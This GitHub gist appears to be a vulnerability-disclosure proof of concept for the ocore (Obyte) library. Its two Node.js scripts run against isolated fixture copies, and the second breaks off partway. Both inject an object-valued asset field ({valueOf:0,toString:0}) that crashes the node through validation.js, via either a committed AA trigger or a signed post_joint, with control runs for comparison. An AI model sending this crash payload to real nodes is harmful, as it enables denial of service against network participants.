Skip to content

Instantly share code, notes, and snippets.

@Skydev0h
Created August 13, 2026 12:57
Show Gist options
  • Select an option

  • Save Skydev0h/4766df5144d9daf77914c7163e7c84df to your computer and use it in GitHub Desktop.

Select an option

Save Skydev0h/4766df5144d9daf77914c7163e7c84df to your computer and use it in GitHub Desktop.
ASSETKEY1 local validation and committed-trigger regression PoC
#!/usr/bin/env node
"use strict";
/*
* AK1 supplemental committed-trigger lifecycle check.
*
* This test starts from an isolated fixture in which a validated AA definition
* and one trigger row are committed, then invokes the stock
* aaComposer.handleAATriggers() consumer. It is a consumer/restart component,
* not a signed network-stabilization E2E. The ordinary signed post_joint proof
* is ak1-test.js.
*/
const childProcess = require("child_process");
const fs = require("fs");
const os = require("os");
const path = require("path");
const EXPECTED_COMMIT = "333f89879a7bab79b235c803a14419d2dc21c283";
const VALID_ATTESTOR = "ZQFHJXFWT2OCEBXF26GFXJU4MPASWPJT";
const headlessDir = path.resolve(process.env.HEADLESS_DIR || process.cwd());
const ocoreDir = fs.realpathSync(path.resolve(process.env.OCORE_DIR || path.join(headlessDir, "node_modules/ocore")));
const fixtureDir = path.join(ocoreDir, "test/initial-testdata-aa_composer.test.js");
const role = process.env.AK1_AA_ROLE || "";
const variant = process.env.AK1_AA_VARIANT || "";
function invariant(condition, message) {
if (!condition)
throw new Error(message);
}
function corePath(file) {
return path.join(ocoreDir, file);
}
function discoverCommit() {
try {
const top = childProcess.execFileSync("git", ["-C", ocoreDir, "rev-parse", "--show-toplevel"], {
encoding: "utf8",
stdio: ["ignore", "pipe", "ignore"],
}).trim();
if (fs.realpathSync(top) === ocoreDir) {
return childProcess.execFileSync("git", ["-C", ocoreDir, "rev-parse", "HEAD"], {
encoding: "utf8",
stdio: ["ignore", "pipe", "ignore"],
}).trim();
}
}
catch (_error) {}
try {
const lock = JSON.parse(fs.readFileSync(path.join(headlessDir, "package-lock.json"), "utf8"));
const entry = lock.packages && lock.packages["node_modules/ocore"];
const match = entry && typeof entry.resolved === "string" && entry.resolved.match(/#([0-9a-f]{40})$/);
return match ? match[1] : "unavailable";
}
catch (_lockError) {
return "unavailable";
}
}
function marker(text, prefix) {
const line = text.split(/\r?\n/).find(item => item.startsWith(`${prefix} `));
return line ? JSON.parse(line.slice(prefix.length + 1)) : null;
}
function firstStackFrame(text, basename) {
const escaped = basename.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
const match = text.match(new RegExp(`${escaped}:(\\d+):(\\d+)`));
return match ? `${basename}:${match[1]}:${match[2]}` : null;
}
function sqliteModule() {
return require(require.resolve("sqlite3", { paths: [ocoreDir, headlessDir] }));
}
async function queryState(appData) {
const sqlite3 = sqliteModule();
const filename = path.join(appData, "byteball.sqlite");
const db = await new Promise((resolve, reject) => {
const handle = new sqlite3.Database(filename, error => error ? reject(error) : resolve(handle));
});
const all = (sql, params = []) => new Promise((resolve, reject) => {
db.all(sql, params, (error, rows) => error ? reject(error) : resolve(rows));
});
try {
const [triggers, balances, responses, integrity] = await Promise.all([
all("SELECT mci,unit,address FROM aa_triggers ORDER BY mci,unit,address"),
all("SELECT address,asset,balance FROM aa_balances WHERE address IN (SELECT address FROM aa_triggers) ORDER BY address,asset"),
all("SELECT aa_address,trigger_unit,bounced,response_unit,response FROM aa_responses ORDER BY aa_response_id"),
all("PRAGMA integrity_check"),
]);
return {
triggers,
balances,
responses,
integrity: String(Object.values(integrity[0])[0]),
};
}
finally {
await new Promise((resolve, reject) => db.close(error => error ? reject(error) : resolve()));
}
}
function copyFixture(destination) {
fs.mkdirSync(destination, { recursive: true });
fs.cpSync(fixtureDir, destination, { recursive: true, force: true });
fs.rmSync(path.join(destination, "rocksdb/LOCK"), { force: true });
}
function runChild(appData, childRole, childVariant, logFile) {
const result = childProcess.spawnSync(process.execPath, [__filename], {
env: {
...process.env,
devnet: "1",
AK1_AA_ROLE: childRole,
AK1_AA_VARIANT: childVariant,
AK1_AA_APPDATA: appData,
},
encoding: "utf8",
timeout: 45_000,
maxBuffer: 8 * 1024 * 1024,
});
const combined = `${result.stdout || ""}\n${result.stderr || ""}`;
fs.writeFileSync(logFile, combined, "utf8");
if (result.error)
throw result.error;
return {
status: result.status,
signal: result.signal,
uncaught: marker(combined, "AK1_AA_CHILD_UNCAUGHT"),
normal: marker(combined, "AK1_AA_CHILD_NORMAL"),
prepared: marker(combined, "AK1_AA_CHILD_PREPARED"),
first_fault: firstStackFrame(combined, "validation.js"),
type_error: /Cannot convert object to primitive value/.test(combined),
stock_fatal_handler: /network\.js:\d+/.test(combined) && /Uncaught exception:/.test(combined),
harness_error: /AK1_AA_CHILD_HARNESS_ERROR/.test(combined),
log_file: logFile,
combined,
};
}
function sameRows(a, b) {
return JSON.stringify(a) === JSON.stringify(b);
}
function printHumanSummary(affected1, affected2, control, state1, state2, controlState, retainedPath) {
const rule = "=".repeat(78);
console.log("");
console.log(rule);
console.log("AK1 SUPPLEMENTAL: COMMITTED AA-TRIGGER A/B");
console.log(rule);
console.log("");
console.log("[A — STRING RESULT]");
console.log(` process exit : ${control.status}`);
console.log(` trigger rows : ${controlState.triggers.length} (consumed)`);
console.log(` response rows : ${controlState.responses.length} (ordinary bounce)`);
console.log("");
console.log("[B1 — COMMITTED OBJECT RESULT]");
console.log(` process exit : ${affected1.status}`);
console.log(` first fault : ${affected1.first_fault}`);
console.log(` trigger rows : ${state1.triggers.length} (retained)`);
console.log(` balances/responses : ${state1.balances.length}/${state1.responses.length}`);
console.log("");
console.log("[B2 — FRESH-PROCESS CONSUMER]");
console.log(` process exit : ${affected2.status}`);
console.log(` first fault : ${affected2.first_fault}`);
console.log(` same trigger row : ${sameRows(state1.triggers, state2.triggers) ? "YES" : "NO"}`);
console.log(` balances/responses : ${state2.balances.length}/${state2.responses.length}`);
console.log("");
console.log(" ✓ CONTROL String output is handled and the trigger is consumed.");
console.log(" ✓ AFFECTED Object output reaches the same central validator fault.");
console.log(" ✓ RESTART The stock consumer sees the unchanged committed row again.");
console.log(" ✓ ROLLBACK No balance or response state escapes either failed execution.");
console.log("");
console.log("AK1 SUPPLEMENTAL PASSED");
console.log(" scope: committed-trigger consumer/restart component (not network stabilization E2E)");
if (retainedPath)
console.log(` artifacts: ${retainedPath}`);
console.log(rule);
}
async function parentMain() {
invariant(Number(process.versions.node.split(".")[0]) === 18, `Node 18 required, found ${process.version}`);
invariant(fs.existsSync(path.join(fixtureDir, "byteball.sqlite")), `stock fixture missing at ${fixtureDir}`);
const installedCommit = discoverCommit();
const exactPin = installedCommit === EXPECTED_COMMIT;
console.log("AK1_AA_PROVENANCE", JSON.stringify({ expected_commit: EXPECTED_COMMIT, installed_commit: installedCommit, exact_pin: exactPin, node: process.version }));
if (!exactPin)
console.warn(`AK1_AA_PROVENANCE_WARNING expected ${EXPECTED_COMMIT}, installed ${installedCommit}; continuing with behavioral assertions`);
const base = fs.mkdtempSync(path.join(os.tmpdir(), "poc-ak1-aa."));
fs.chmodSync(base, 0o700);
const affectedHome = path.join(base, "affected-home");
const controlHome = path.join(base, "control-home");
copyFixture(affectedHome);
copyFixture(controlHome);
let completed = false;
try {
const affected1 = runChild(affectedHome, "prepare_and_execute", "affected", path.join(base, "affected-first.log"));
const state1 = await queryState(affectedHome);
fs.rmSync(path.join(affectedHome, "rocksdb/LOCK"), { force: true });
const affected2 = runChild(affectedHome, "replay", "affected", path.join(base, "affected-replay.log"));
const state2 = await queryState(affectedHome);
const control = runChild(controlHome, "prepare_and_execute", "control", path.join(base, "control.log"));
const controlState = await queryState(controlHome);
for (const [label, run] of [["first", affected1], ["replay", affected2]]) {
invariant(run.status === 7 && run.uncaught && run.type_error && run.stock_fatal_handler && !run.harness_error,
`${label} affected consumer missed the expected path:\n${run.combined.split(/\r?\n/).slice(-80).join("\n")}`);
invariant(run.first_fault && run.first_fault.startsWith("validation.js:"), `${label} lacks validation.js first fault`);
if (exactPin)
invariant(run.first_fault === "validation.js:2032:49", `${label} unexpected first fault ${run.first_fault}`);
}
invariant(control.status === 0 && control.normal && !control.uncaught && !control.harness_error,
`control consumer did not finish normally:\n${control.combined.split(/\r?\n/).slice(-80).join("\n")}`);
invariant(state1.triggers.length === 1 && sameRows(state1.triggers, state2.triggers), "affected trigger row changed across consumers");
invariant(state1.balances.length === 0 && state2.balances.length === 0, "affected balance state escaped rollback");
invariant(state1.responses.length === 0 && state2.responses.length === 0, "affected response state escaped rollback");
invariant(state1.integrity === "ok" && state2.integrity === "ok", "affected SQLite integrity check failed");
invariant(controlState.triggers.length === 0, "control trigger was not consumed");
invariant(controlState.responses.length > 0, "control produced no response record");
invariant(controlState.integrity === "ok", "control SQLite integrity check failed");
console.log("AK1_AA_AFFECTED_RESULT", JSON.stringify({
first: { status: affected1.status, first_fault: affected1.first_fault },
replay: { status: affected2.status, first_fault: affected2.first_fault },
after_first: state1,
after_replay: state2,
same_committed_trigger: true,
}));
console.log("AK1_AA_CONTROL_RESULT", JSON.stringify({
status: control.status,
after: controlState,
}));
const retainedPath = process.env.KEEP_TMP === "1" ? base : null;
printHumanSummary(affected1, affected2, control, state1, state2, controlState, retainedPath);
completed = true;
}
finally {
if (completed && process.env.KEEP_TMP !== "1")
fs.rmSync(base, { recursive: true, force: true });
else if (!completed)
console.error(`AK1 supplemental artifacts retained after failure at ${base}`);
}
}
async function childMain() {
process.env.devnet = "1";
invariant(["prepare_and_execute", "replay"].includes(role), `unknown role ${role}`);
invariant(["affected", "control"].includes(variant), `unknown variant ${variant}`);
const appData = path.resolve(process.env.AK1_AA_APPDATA || "");
invariant(fs.existsSync(path.join(appData, "byteball.sqlite")), `missing copied fixture in ${appData}`);
const desktopApp = require(corePath("desktop_app.js"));
desktopApp.getAppRootDir = () => headlessDir;
desktopApp.getAppDataDir = () => appData;
const conf = require(corePath("conf.js"));
conf.explicitStart = true;
conf.port = null;
conf.bWantNewPeers = false;
const constants = require(corePath("constants.js"));
const objectHash = require(corePath("object_hash.js"));
const objectLength = require(corePath("object_length.js"));
const storage = require(corePath("storage.js"));
const aaValidation = require(corePath("aa_validation.js"));
const aaComposer = require(corePath("aa_composer.js"));
const kvstore = require(corePath("kvstore.js"));
const db = require(corePath("db.js"));
let phase = "boot";
process.prependOnceListener("uncaughtException", error => {
console.log("AK1_AA_CHILD_UNCAUGHT", JSON.stringify({
role,
variant,
phase,
name: error.name,
message: error.message,
stack: error.stack,
}));
});
require(corePath("network.js"));
const aaDefinition = ["autonomous agent", {
bounce_fees: { base: 10_000 },
messages: [{
app: "asset_attestors",
payload: {
asset: "{trigger.data.value}",
attestors: [VALID_ATTESTOR],
},
}],
}];
const aaAddress = objectHash.getChash160(aaDefinition);
const kvGet = key => new Promise((resolve, reject) => {
kvstore.get(key, value => value === undefined ? reject(new Error(`missing Rocks key ${key}`)) : resolve(value));
});
const kvPut = (key, value) => new Promise(resolve => kvstore.put(key, value, resolve));
async function cloneTriggerUnit() {
const [mc] = await db.query("SELECT unit FROM units WHERE main_chain_index=12 AND is_on_main_chain=1");
invariant(mc, "fixture lacks MCI 12 main-chain unit");
const originalJoint = JSON.parse(await kvGet(`j\n${mc.unit}`));
const unit = clone(originalJoint.unit);
delete unit.unit;
delete unit.main_chain_index;
delete unit.actual_tps_fee;
const value = variant === "affected" ? { valueOf: 0, toString: 0 } : constants.GENESIS_UNIT;
const dataPayload = { value };
const fundingAmount = 1_000_000;
const paymentPayload = { outputs: [{ address: aaAddress, amount: fundingAmount }] };
unit.messages = [
{ app: "data", payload_location: "inline", payload: dataPayload, payload_hash: objectHash.getBase64Hash(dataPayload, true) },
{ app: "payment", payload_location: "inline", payload: paymentPayload, payload_hash: objectHash.getBase64Hash(paymentPayload, true) },
];
unit.headers_commission = objectLength.getHeadersSize(unit);
unit.payload_commission = objectLength.getTotalPayloadSize(unit);
unit.unit = objectHash.getUnitHash(unit);
await kvPut(`j\n${unit.unit}`, JSON.stringify({ unit }));
const info = await db.query("SELECT name FROM pragma_table_info('units') ORDER BY cid");
const columns = info.map(row => row.name).filter(name => name !== "unit");
const quoted = name => `\`${name.replace(/`/g, "``")}\``;
const selections = columns.map(name => {
if (name === "is_on_main_chain") return "0";
if (name === "is_free") return "0";
if (name === "level" || name === "witnessed_level") return `${quoted(name)}-1`;
return quoted(name);
});
await db.query(
`INSERT INTO units (${quoted("unit")},${columns.map(quoted).join(",")}) ` +
`SELECT ?,${selections.join(",")} FROM units WHERE unit=?`,
[unit.unit, mc.unit]
);
await db.query(
"INSERT INTO unit_authors (unit,address,definition_chash,_mci) SELECT ?,address,definition_chash,_mci FROM unit_authors WHERE unit=?",
[unit.unit, mc.unit]
);
await db.query(
"INSERT INTO parenthoods (parent_unit,child_unit) SELECT parent_unit,? FROM parenthoods WHERE child_unit=?",
[unit.unit, mc.unit]
);
await db.query("INSERT INTO parenthoods (parent_unit,child_unit) VALUES (?,?)", [unit.unit, mc.unit]);
await db.query(
"INSERT INTO outputs (unit,message_index,output_index,asset,denomination,address,amount,is_serial,is_spent) VALUES (?,1,0,NULL,1,?,?,1,0)",
[unit.unit, aaAddress, fundingAmount]
);
const sourceProps = storage.assocStableUnits[mc.unit];
invariant(sourceProps, "fixture MCI 12 unit missing from stable cache");
storage.assocStableUnits[unit.unit] = {
...sourceProps,
unit: unit.unit,
is_on_main_chain: 0,
is_free: 0,
level: sourceProps.level - 1,
witnessed_level: sourceProps.witnessed_level - 1,
count_aa_responses: 0,
count_primary_aa_triggers: 0,
};
if (!storage.assocStableUnits[mc.unit].parent_units)
storage.assocStableUnits[mc.unit].parent_units = [];
storage.assocStableUnits[mc.unit].parent_units.push(unit.unit);
return { triggerUnit: unit.unit, mci: 12, value };
}
async function prepare() {
phase = "validate_aa_definition";
const validation = await new Promise(resolve => aaValidation.validateAADefinition(
aaDefinition,
(address, funcName, callback) => storage.readAAGetterProps(db, address, funcName, null, callback),
Number.MAX_SAFE_INTEGER,
(error, props) => resolve({ error, props })
));
invariant(!validation.error, `AA validation rejected: ${validation.error}`);
const [definitionUnit] = await db.query("SELECT unit FROM units WHERE main_chain_index=1 AND is_on_main_chain=1");
await storage.insertAADefinitions(db, [{ address: aaAddress, definition: aaDefinition }], definitionUnit.unit, 1, false);
const { triggerUnit, mci, value } = await cloneTriggerUnit();
await db.query("INSERT INTO aa_triggers (mci,unit,address) VALUES(?,?,?)", [mci, triggerUnit, aaAddress]);
console.log("AK1_AA_CHILD_PREPARED", JSON.stringify({ variant, trigger_unit: triggerUnit, aa_address: aaAddress, mci, value }));
}
await db.query("SELECT 1");
await storage.initCaches();
if (role === "prepare_and_execute")
await prepare();
phase = "aaComposer.handleAATriggers";
await aaComposer.handleAATriggers();
console.log("AK1_AA_CHILD_NORMAL", JSON.stringify({ role, variant }));
await new Promise(resolve => kvstore.close(resolve));
await new Promise(resolve => db.close(resolve));
}
function clone(value) {
return JSON.parse(JSON.stringify(value));
}
if (role) {
childMain().then(() => process.exit(0)).catch(error => {
console.error("AK1_AA_CHILD_HARNESS_ERROR", error.stack || error);
process.exit(1);
});
}
else {
parentMain().catch(error => {
console.error("AK1_AA_HARNESS_ERROR", error.stack || error);
process.exit(1);
});
}
#!/usr/bin/env node
"use strict";
/*
* AK1 source-unmodified post_joint handler proof.
*
* The parent creates isolated copies of ocore's checked-in AA-composer
* fixture, then runs:
* A. a signed string-asset control that returns an ordinary error;
* B1. a signed object-asset case that reaches the process-fatal handler;
* B2. a fresh-process, same-home replay of the byte-identical signed joint.
*
* Machine-readable AK1_* JSON markers are followed by a human-readable A/B
* verdict intended for terminal review and screenshots. No listener is
* opened and no source file is patched.
*/
const assert = require("assert");
const childProcess = require("child_process");
const crypto = require("crypto");
const fs = require("fs");
const os = require("os");
const path = require("path");
const EXPECTED_COMMIT = "333f89879a7bab79b235c803a14419d2dc21c283";
const ADDRESS = "ZQFHJXFWT2OCEBXF26GFXJU4MPASWPJT";
const MNEMONIC = "mass work afraid spy traffic popular clinic grain child firm grass engage";
const PEER_HOST = "ak1-local-post-joint";
const headlessDir = path.resolve(process.env.HEADLESS_DIR || process.cwd());
const ocoreDir = fs.realpathSync(path.resolve(process.env.OCORE_DIR || path.join(headlessDir, "node_modules/ocore")));
const fixtureDir = path.join(ocoreDir, "test/initial-testdata-aa_composer.test.js");
const childMode = process.env.AK1_CHILD_MODE || "";
function invariant(condition, message) {
if (!condition)
throw new Error(message);
}
function corePath(file) {
return path.join(ocoreDir, file);
}
function clone(value) {
return JSON.parse(JSON.stringify(value));
}
function sha256File(file) {
return crypto.createHash("sha256").update(fs.readFileSync(file)).digest("hex");
}
function discoverCommit() {
try {
const top = childProcess.execFileSync("git", ["-C", ocoreDir, "rev-parse", "--show-toplevel"], {
encoding: "utf8",
stdio: ["ignore", "pipe", "ignore"],
}).trim();
if (fs.realpathSync(top) === ocoreDir) {
return childProcess.execFileSync("git", ["-C", ocoreDir, "rev-parse", "HEAD"], {
encoding: "utf8",
stdio: ["ignore", "pipe", "ignore"],
}).trim();
}
}
catch (_error) {}
try {
const lock = JSON.parse(fs.readFileSync(path.join(headlessDir, "package-lock.json"), "utf8"));
const entry = lock.packages && lock.packages["node_modules/ocore"];
const match = entry && typeof entry.resolved === "string" && entry.resolved.match(/#([0-9a-f]{40})$/);
return match ? match[1] : "unavailable";
}
catch (_lockError) {
return "unavailable";
}
}
function marker(text, prefix) {
const line = text.split(/\r?\n/).find(item => item.startsWith(`${prefix} `));
if (!line)
return null;
return JSON.parse(line.slice(prefix.length + 1));
}
function firstStackFrame(text, basename) {
const escaped = basename.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
const match = text.match(new RegExp(`${escaped}:(\\d+):(\\d+)`));
return match ? `${basename}:${match[1]}:${match[2]}` : null;
}
function tail(text, lines = 80) {
return text.split(/\r?\n/).slice(-lines).join("\n");
}
function copyFixture(destination) {
fs.mkdirSync(destination, { recursive: true });
fs.cpSync(fixtureDir, destination, { recursive: true, force: true });
fs.rmSync(path.join(destination, "rocksdb/LOCK"), { force: true });
}
function runChild(mode, appData, jointFile, logFile) {
const result = childProcess.spawnSync(process.execPath, [__filename], {
env: {
...process.env,
devnet: "1",
AK1_CHILD_MODE: mode,
AK1_APPDATA: appData,
AK1_JOINT_FILE: jointFile,
},
encoding: "utf8",
timeout: 45_000,
maxBuffer: 8 * 1024 * 1024,
});
const combined = `${result.stdout || ""}\n${result.stderr || ""}`;
fs.writeFileSync(logFile, combined, "utf8");
if (result.error)
throw result.error;
const normal = marker(combined, "AK1_CHILD_NORMAL");
const uncaught = marker(combined, "AK1_CHILD_UNCAUGHT");
const ready = marker(combined, "AK1_CHILD_READY");
return {
mode,
status: result.status,
signal: result.signal,
ready,
normal,
uncaught,
signature_verifications: normal ? normal.signature_verifications : uncaught ? uncaught.signature_verifications : null,
first_fault: firstStackFrame(combined, "validation.js"),
type_error: /Cannot convert object to primitive value/.test(combined),
stock_fatal_handler: /network\.js:\d+/.test(combined) && /Uncaught exception:/.test(combined),
harness_error: /AK1_CHILD_HARNESS_ERROR/.test(combined),
log_file: logFile,
combined,
};
}
function sqliteModule() {
const resolved = require.resolve("sqlite3", { paths: [ocoreDir, headlessDir] });
return require(resolved);
}
async function inspectState(appData, unit) {
const sqlite3 = sqliteModule();
const filename = path.join(appData, "byteball.sqlite");
const db = await new Promise((resolve, reject) => {
const handle = new sqlite3.Database(filename, error => error ? reject(error) : resolve(handle));
});
const all = (sql, params = []) => new Promise((resolve, reject) => {
db.all(sql, params, (error, rows) => error ? reject(error) : resolve(rows));
});
try {
const [units, knownBad, invalidEvents, integrityRows] = await Promise.all([
all("SELECT COUNT(*) AS n FROM units WHERE unit=?", [unit]),
all("SELECT COUNT(*) AS n FROM known_bad_joints WHERE unit=? OR joint=?", [unit, unit]),
all("SELECT COUNT(*) AS n FROM peer_events WHERE peer_host=? AND event='invalid'", [PEER_HOST]),
all("PRAGMA integrity_check"),
]);
const quarantineFile = path.join(appData, "uncaught_exception_clients.txt");
const quarantineHosts = fs.existsSync(quarantineFile)
? fs.readFileSync(quarantineFile, "utf8").split(/\r?\n/).filter(Boolean)
: [];
return {
unit_rows: units[0].n,
known_bad_rows: knownBad[0].n,
database_invalid_peer_events: invalidEvents[0].n,
source_quarantine_file: fs.existsSync(quarantineFile),
source_quarantine_contains_host: quarantineHosts.includes(PEER_HOST),
integrity: String(Object.values(integrityRows[0])[0]),
};
}
finally {
await new Promise((resolve, reject) => db.close(error => error ? reject(error) : resolve()));
}
}
function normalError(run) {
const response = run.normal && run.normal.frame && run.normal.frame[1] && run.normal.frame[1].response;
return response && typeof response.error === "string" ? response.error : null;
}
function printRunMarker(name, run) {
console.log(name, JSON.stringify({
status: run.status,
signal: run.signal,
unit: run.ready && run.ready.unit,
joint_json_bytes: run.ready && run.ready.joint_json_bytes,
signature_verifications: run.signature_verifications,
first_fault: run.first_fault,
type_error: run.type_error,
stock_fatal_handler: run.stock_fatal_handler,
normal_error: normalError(run),
log_file: run.log_file,
}));
}
function printHumanSummary(control, affected, replay, state1, state2, provenance, jointSha, retainedPath) {
const rule = "=".repeat(78);
const subrule = "-".repeat(78);
console.log("");
console.log(rule);
console.log("AK1 A/B VERDICT");
console.log(rule);
console.log("");
console.log("[A — EXPECTED CONTROL]");
console.log(" asset value : 44-character string");
console.log(` signature verified : PASS (${control.signature_verifications})`);
console.log(` process exit : ${control.status} (node stayed alive)`);
console.log(` validator result : ordinary error — ${normalError(control)}`);
console.log("");
console.log("[B1 — OBJECT VALUE]");
console.log(" asset value : plain JSON {\"valueOf\":0,\"toString\":0}");
console.log(` signature verified : PASS (${affected.signature_verifications})`);
console.log(` process exit : ${affected.status} (stock fatal handler)`);
console.log(` first fault : ${affected.first_fault}`);
console.log(" exception : TypeError: Cannot convert object to primitive value");
console.log("");
console.log("[B2 — FRESH-PROCESS REPLAY]");
console.log(" database : same unchanged home");
console.log(" signed joint : byte-identical saved JSON");
console.log(` signature verified : PASS (${replay.signature_verifications})`);
console.log(` process exit : ${replay.status} (same first fault: ${replay.first_fault})`);
console.log("");
console.log("[STATE AFTER B1 AND B2]");
console.log(` target unit rows : ${state1.unit_rows} -> ${state2.unit_rows}`);
console.log(` known-bad rows : ${state1.known_bad_rows} -> ${state2.known_bad_rows}`);
console.log(` DB invalid events : ${state1.database_invalid_peer_events} -> ${state2.database_invalid_peer_events}`);
console.log(` source quarantine : recorded -> recorded (file)`);
console.log(` SQLite integrity : ${state1.integrity} -> ${state2.integrity}`);
console.log(` saved-joint SHA-256 : ${jointSha}`);
console.log("");
console.log(subrule);
console.log(" ✓ CONTROL String input reaches the intended validation error.");
console.log(" ✓ ORDERING The real signature is verified before property-key conversion.");
console.log(" ✓ AFFECTED The object input reaches the exact validation first fault.");
console.log(" ✓ REPLAY A fresh process reproduces it from the same signed joint.");
console.log(" ✓ STATE No unit/DB classification is written; the source file is recorded.");
console.log(subrule);
console.log("AK1 PROOF PASSED");
console.log(` ocore : ${provenance.installed_commit}`);
console.log(` semantic result : control returns; object case terminates at ${affected.first_fault}`);
console.log(" restart semantics : restart is clean; explicit replay reproduces the fault");
if (retainedPath)
console.log(` artifacts : ${retainedPath}`);
console.log(rule);
}
async function parentMain() {
invariant(Number(process.versions.node.split(".")[0]) === 18, `Node 18 required, found ${process.version}`);
invariant(fs.existsSync(path.join(fixtureDir, "byteball.sqlite")), `stock fixture missing at ${fixtureDir}`);
const installedCommit = discoverCommit();
const provenance = {
expected_commit: EXPECTED_COMMIT,
installed_commit: installedCommit,
exact_pin: installedCommit === EXPECTED_COMMIT,
node: process.version,
};
console.log("AK1_PROVENANCE", JSON.stringify(provenance));
if (!provenance.exact_pin)
console.warn(`AK1_PROVENANCE_WARNING expected ${EXPECTED_COMMIT}, installed ${installedCommit}; continuing with behavioral assertions`);
const base = fs.mkdtempSync(path.join(os.tmpdir(), "poc-ak1."));
fs.chmodSync(base, 0o700);
const controlHome = path.join(base, "control-home");
const affectedHome = path.join(base, "affected-home");
const jointFile = path.join(base, "affected-joint.json");
copyFixture(controlHome);
copyFixture(affectedHome);
let completed = false;
try {
const control = runChild("control", controlHome, jointFile, path.join(base, "control.log"));
invariant(control.status === 0 && control.normal && !control.uncaught && !control.harness_error,
`control did not return normally:\n${tail(control.combined)}`);
invariant(control.signature_verifications === 1, `control signature count is ${control.signature_verifications}`);
invariant(normalError(control) && /asset .* not found/.test(normalError(control)),
`unexpected control result: ${JSON.stringify(control.normal)}`);
const affected = runChild("affected", affectedHome, jointFile, path.join(base, "affected.log"));
invariant(affected.status === 7 && affected.uncaught && affected.type_error && affected.stock_fatal_handler,
`affected run missed the expected fatal path:\n${tail(affected.combined)}`);
invariant(affected.signature_verifications === 1, `affected signature count is ${affected.signature_verifications}`);
invariant(affected.first_fault && affected.first_fault.startsWith("validation.js:"), "affected run lacks validation.js first fault");
if (provenance.exact_pin)
invariant(affected.first_fault === "validation.js:2032:49", `unexpected exact first fault ${affected.first_fault}`);
invariant(fs.existsSync(jointFile), "affected child did not save the signed joint");
const joint = JSON.parse(fs.readFileSync(jointFile, "utf8"));
const unit = joint && joint.unit && joint.unit.unit;
invariant(typeof unit === "string" && unit.length === 44, "saved joint has no valid unit id");
const jointShaBefore = sha256File(jointFile);
const state1 = await inspectState(affectedHome, unit);
fs.rmSync(path.join(affectedHome, "rocksdb/LOCK"), { force: true });
const replay = runChild("replay", affectedHome, jointFile, path.join(base, "replay.log"));
invariant(replay.status === 7 && replay.uncaught && replay.type_error && replay.stock_fatal_handler,
`replay missed the expected fatal path:\n${tail(replay.combined)}`);
invariant(replay.signature_verifications === 1, `replay signature count is ${replay.signature_verifications}`);
invariant(replay.first_fault === affected.first_fault,
`replay first fault changed: ${affected.first_fault} -> ${replay.first_fault}`);
const jointShaAfter = sha256File(jointFile);
invariant(jointShaAfter === jointShaBefore, "saved signed joint changed between runs");
const state2 = await inspectState(affectedHome, unit);
for (const [label, state] of [["first", state1], ["replay", state2]]) {
invariant(state.unit_rows === 0, `${label}: target unit was written`);
invariant(state.known_bad_rows === 0, `${label}: target joint was classified as known bad`);
invariant(state.database_invalid_peer_events === 0, `${label}: invalid peer event was written`);
invariant(state.source_quarantine_file && state.source_quarantine_contains_host,
`${label}: fatal handler did not record the current source`);
invariant(state.integrity === "ok", `${label}: SQLite integrity is ${state.integrity}`);
}
printRunMarker("AK1_CONTROL_RESULT", control);
printRunMarker("AK1_AFFECTED_RESULT", affected);
printRunMarker("AK1_REPLAY_RESULT", replay);
console.log("AK1_STATE_RESULT", JSON.stringify({
unit,
joint_sha256: jointShaBefore,
after_first: state1,
after_replay: state2,
byte_identical_replay: true,
}));
const retainedPath = process.env.KEEP_TMP === "1" ? base : null;
printHumanSummary(control, affected, replay, state1, state2, provenance, jointShaBefore, retainedPath);
completed = true;
}
finally {
if (completed && process.env.KEEP_TMP !== "1")
fs.rmSync(base, { recursive: true, force: true });
else if (!completed)
console.error(`AK1 artifacts retained after failure at ${base}`);
}
}
function makeSigner(core) {
const Mnemonic = require(require.resolve("bitcore-mnemonic", { paths: [ocoreDir, headlessDir] }));
const mnemonic = new Mnemonic(MNEMONIC);
const xPrivKey = mnemonic.toHDPrivateKey().derive("m/44'/0'/0'/0/0");
const privateKey = xPrivKey.privateKey.bn.toBuffer({ size: 32 });
const pubkey = xPrivKey.publicKey.toBuffer().toString("base64");
const definition = ["sig", { pubkey }];
invariant(core.objectHash.getChash160(definition) === ADDRESS, "fixture mnemonic/address mismatch");
return {
readSigningPaths(_conn, _address, callback) {
callback({ r: core.constants.SIG_LENGTH });
},
readDefinition(_conn, _address, callback) {
callback(null, definition);
},
sign(objUnit, _privatePayloads, _address, _path, callback) {
callback(null, core.signature.sign(core.objectHash.getUnitHashToSign(objUnit), privateKey));
},
};
}
function composeJoint(core, signer, affected) {
const payload = {
asset: affected ? { valueOf: 0, toString: 0 } : core.constants.GENESIS_UNIT,
attestors: [ADDRESS],
};
return new Promise((resolve, reject) => {
core.composer.composeJoint({
paying_addresses: [ADDRESS],
change_address: ADDRESS,
outputs: [{ address: ADDRESS, amount: 0 }],
messages: [{ app: "asset_attestors", payload_location: "inline", payload }],
signer,
max_fee_ratio: 1_000_000_000,
callbacks: {
ifError: error => reject(new Error(`composition error: ${JSON.stringify(error)}`)),
ifNotEnoughFunds: error => reject(new Error(`not enough funds: ${error}`)),
ifOk: (joint, _privatePayloads, unlock) => {
unlock();
resolve(clone(joint));
},
},
});
});
}
function fakeWs(onFrame) {
return {
OPEN: 1,
readyState: 1,
peer: PEER_HOST,
host: PEER_HOST,
bOutbound: false,
assocCommandsInPreparingResponse: {},
assocPendingRequests: {},
send(message, callback) {
const frame = JSON.parse(message);
console.log("AK1_CHILD_FRAME", JSON.stringify(frame));
if (callback)
callback();
onFrame(frame);
},
emit() {},
};
}
function postJoint(network, joint, mode) {
return new Promise((resolve, reject) => {
const timeout = setTimeout(() => reject(new Error("post_joint timed out")), 10_000);
const tag = `ak1-${mode}`;
const ws = fakeWs(frame => {
if (frame[0] !== "response" || !frame[1] || frame[1].tag !== tag)
return;
clearTimeout(timeout);
resolve(frame);
});
network.handleRequest(ws, tag, "post_joint", clone(joint));
});
}
async function closeCore(kvstore, db) {
await new Promise(resolve => kvstore.close(resolve));
await new Promise(resolve => db.close(resolve));
}
async function childMain() {
process.env.devnet = "1";
invariant(["control", "affected", "replay"].includes(childMode), `unknown child mode ${childMode}`);
const appData = path.resolve(process.env.AK1_APPDATA || "");
const jointFile = path.resolve(process.env.AK1_JOINT_FILE || "");
invariant(fs.existsSync(path.join(appData, "byteball.sqlite")), `missing copied fixture in ${appData}`);
const desktopApp = require(corePath("desktop_app.js"));
desktopApp.getAppRootDir = () => headlessDir;
desktopApp.getAppDataDir = () => appData;
const conf = require(corePath("conf.js"));
